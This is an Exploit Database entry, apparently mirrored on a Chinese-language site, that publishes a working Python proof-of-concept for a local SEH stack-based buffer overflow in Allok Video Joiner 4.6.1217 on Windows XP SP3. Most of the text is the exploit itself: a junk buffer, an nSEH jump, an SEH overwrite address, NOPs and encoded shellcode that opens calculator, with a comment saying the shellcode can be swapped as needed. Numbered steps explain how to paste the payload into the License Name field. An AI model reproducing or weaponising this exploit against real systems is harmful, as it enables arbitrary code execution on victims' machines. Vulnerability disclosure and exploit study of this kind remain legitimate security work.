Allok Video Joiner 4.6.1217 – Stack-Based Buffer Overflow

• Exploit Database
• 19 阅读

• 作者： Mohan Ravichandran and Velayutham Selvaraj
  日期： 2018-03-30
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44364/

• # SWAMI KARUPASAMI THUNAI
  
  ###############################################################################
  # Exploit Title:Alloksoft Video joiner (4.6.1217) - Buffer Overflow Vulnerability (Windows XP SP3)
  # Date: 06-03-2018
  # Exploit Author: Mohan Ravichandran & Velayutham Selvaraj
  # Organization :TwinTech Solutions
  # Vulnerable Software:Allok Video joiner
  # Vendor Homepage:http://www.alloksoft.com
  # Version:4.6.1217
  # Software Link:http://www.alloksoft.com/joiner.htm
  # Tested On:Windows XP Service Pack 3 (Version 2002)
  #
  # Credit to Velayutham Selvaraj for discovering the Vulnerbility
  # Vulnerability Disclosure Date : 2018-03-06
  #
  # Manual steps to reproduce the vulnerability ... 
  #1.Download and install the setup file
  #2.Run this exploit code via python 2.7
  #3.A file "exploit.txt" will be created
  #4.Copy the contents of the file and paste in the License Name field 
  #Name > exploit.txt
  #5.Type some random character in License Code
  #6.Click Register and voila !
  #7.Boom calculator opens
  #
  ##############################################################################
  import struct
  
  file = open("exploit.txt","wb")
  buflen = 4000
  junk = "A" * 780
  nseh = "\x90\x90\xeb\x10"
  seh= struct.pack("<L",0x10019A09)
  nops = "\x90" * 20
  # The below shellcode will open calculator, but can be modified by need.
  shellcode = ""
  shellcode +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
  shellcode +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
  shellcode +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
  shellcode +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
  shellcode +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
  shellcode +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
  shellcode +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
  shellcode +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
  shellcode +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
  shellcode +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
  shellcode +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
  shellcode +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
  shellcode +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
  shellcode +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
  shellcode +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
  shellcode +="\xc4\xd9"
  exploit = junk + nseh + seh + nops + shellcode
  fillers = buflen - len(exploit)
  buf = exploit + "D" * fillers
  file.write(buf)
  file.close()